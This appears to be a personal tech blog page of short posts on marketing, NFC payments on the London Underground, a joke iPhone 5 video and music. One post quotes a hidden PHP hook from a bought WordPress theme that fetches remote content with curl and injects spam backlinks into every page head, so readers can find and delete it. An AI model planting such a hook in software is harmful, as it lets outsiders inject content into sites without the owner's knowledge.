So much to share, so little time

So I’ve been working on experience innovation, emerging technologies, R&D, and a bunch of amazing fortune 500 clients.

Among the new things I will start sharing tons of new Amazon hosting tips and tricks, performance, scaling, benchmarking multiple caching solutions, big data and nosql, rapid mobile application development …

Which tech would you like me to share first?

Leaked iPhone 5 Video

No matter how much you try to deny it, Apple knows that 86.3% of what you do on your iPhone involves snapping food photos, filtering food photos and sharing food photos.

This leaked iPhone 5 official promo video just leaked online, showing the next iteration of the device with one big, tasty focus: food. Specifically, photos of food.


Global Brands vs Global Celebrities: Who's the Smarter Marketer?

SapientNitro’s 2012 Cannes Lions presentation on Global Brands vs Global Celebrities, by my good friend Freddie Laker, who moderated a debate beween Daz McColl and Omar Epps.Global Brands vs Global Celebs: Who’s the Smarter Marketer? from Freddie LakerAs globalisation and digitalisation continue to break down the barriers between cultures and ge...

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London Underground: NFC mobile payments 'too slow' for the tube

NFC Mobile Payments has been tested several times in the past, London’s Tube system won’t be getting mobile-based payment technology any time soon. Customer Experience Director Shashi Verma said that existing NFC technology wasn’t able to drop below the 500 millisecond barrier – something which Transport for London demands from its high-churn Oyster card-based turnstiles. Verma added, “The concerns are only around NFC technology and not EMV. We are keen to see any progress the industry can make in this area.”

Very strong and interesting point-of-view, it’s all about the experience. I know a few companies are trying to crack this, and some already have … but I guess it’s not always up to the tech provider, if the OEM phones cannot guaranty the desired response time.


WordPress Hacked: Spam BackLinks

As you may recall, I switched my WordPress theme two months ago, and installed a new theme called PixelPower. If you read my previous post, I had disabled W3 Total Cache Minify and replaced with Better WordPress Minify.

So after successfully implementing the W3 Total Cache minify on another blog I decided to give mine a second chance; the problem I found was that it takes a few seconds for W3TC to write it to disk, and my Amazon CloudFront gets a 404 the first time it tries to hit it … After a second attempt it seems to be working fine.

To my surprise however, while debugging and looking at my html source code I noticed something unusual - WordPress Hacked! a bunch of links were injected pointing to! So I did a little digging and I found that it was a big problem with jquery being injected by Not my case, but I did find the problem. Open your functions.php file and if the 2nd line reads:

if (!function_exists(‘insert_jquery_theme’)){function insert_jquery_theme(){if (function_exists(‘curl_init’)){$url=”";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action(‘wp_head’, ‘insert_jquery_theme’);}
Then your theme will automatically add spam backlinks… What annoys me the most is that I only found out now, after two months with the new template. So if you buy WordPress themes, especially from an unknown source - beware of sneaky spam links added to the original theme.

I deleted said line and all the backlinks disappeared.

Viral Video Friday: Mike Portnoy Sparta Remix

Ok, so it’s far from a viral video but I had to share it. For those who don’t know me well, I’m a long time huge Dream Theater fan, and Mike Portnoy was their drummer since their inception in 1985 until last year. Someone made this low-tech mock of the famous Sparta Remix videos and Portnoy himself found it hilarious and shared on Facebook. For some reason I can’t stop laughing

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